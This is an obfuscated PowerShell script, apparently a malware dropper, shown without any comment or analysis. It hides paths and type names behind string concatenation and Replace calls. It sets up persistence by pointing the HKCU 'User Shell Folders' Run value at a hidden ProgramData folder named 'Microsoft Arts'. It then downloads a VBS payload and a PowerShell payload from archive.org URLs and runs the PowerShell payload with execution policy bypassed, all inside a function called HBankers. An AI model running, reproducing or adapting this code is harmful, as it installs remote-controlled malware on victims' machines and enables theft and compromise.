[system.io.directory]::CreateDirectory("C@@$%#@$%#@$%#@$%#$@%#@$%#@$%#Start".Replace("@@$%#@$%#@$%#@$%#$@%#@$%#@$%#",":" + "\" + "P" + "r" + "o" + "g" + "r" + "a" + "m" + "D" + "a" + "t" + "a" + "\" + "M" + "i" + "c" + "r" + "o" + "s" + "o" + "f" + "t" + " " + "A" + "r" + "t" + "s" + "\"))
start-sleep -s 5
Set-ItemProperty -Path "HK*************************orer\User Shell Folders".Replace("*************************","CU:\Software\Microsoft\Windows\CurrentVersion\Expl") -Name "Run" -Value "C:\&&&&&&&&&&&&&Start".Replace("&&&&&&&&&&&&&","P" + "r" + "o" + "g" + "r" + "a" + "m" + "D" + "a" + "t" + "a" + "\" + "M" + "i" + "c" + "r" + "o" + "s" + "o" + "f" + "t" + " " + "A" + "r" + "t" + "s" + "\");
Set-ItemProperty -Path "HKCU:\Soft<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<lders".Replace("<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<","ware\Microsoft\Windows\CurrentVersion\Explorer\Shell Fo") -Name "Run" -Value "C" + ":" + "\" + "P" + "r" + "o" + "g" + "r" + "a" + "m" + "D" + "a" + "t" + "a\>>>>>>>>>>>>Start".Replace(">>>>>>>>>>>>","M" + "i" + "c" + "r" + "o" + "s" + "o" + "f" + "t" + " " + "A" + "r" + "t" + "s" + "\");
start-sleep -s 5
Function HBankers
{
$p = 'C:\ProgramData\<<<<<<<<<<<>>>>>>>>>>>>>>>Start\'.Replace("<<<<<<<<<<<>>>>>>>>>>>>>>>","M" + "i" + "c" + "r" + "o" + "s" + "o" + "f" + "t" + " " + "A" + "r" + "t" + "s" + "\")
$ps1 = 'C^^^^^^^^^^^^^^^^^^Microsoft Arts\'.Replace("^^^^^^^^^^^^^^^^^^",":" + "\" + "P" + "r" + "o" + "g" + "r" + "a" + "m" + "D" + "a" + "t" + "a" + "\")


start-sleep -s 5

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://ia601505.us.archive.org/7/items/vbs_20210319/vbs.txt', $p + 'Run.vbs')){
}
start-sleep -s 5
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://ia601400.us.archive.org/17/items/server_20210319/Server.txt', $ps1 + 'Microsoft.ps1')){
}
start-sleep -s 7
powershell -windo 1 -noexit -exec bypass -file "C" + ":" + "\" + "P" + "r" + "o" + "g" + "r" + "a" + "m" + "D" + "a" + "t" + "a" + "\" + "M" + "i" + "c" + "r" + "o" + "s" + "o" + "f" + "t" + " " + "A" + "r" + "t" + "s" + "\" + "M" + "i" + "c" + "r" + "o" + "s" + "o" + "f" + "t" + "." + "p" + "s" + "1"
}
IEX HBankers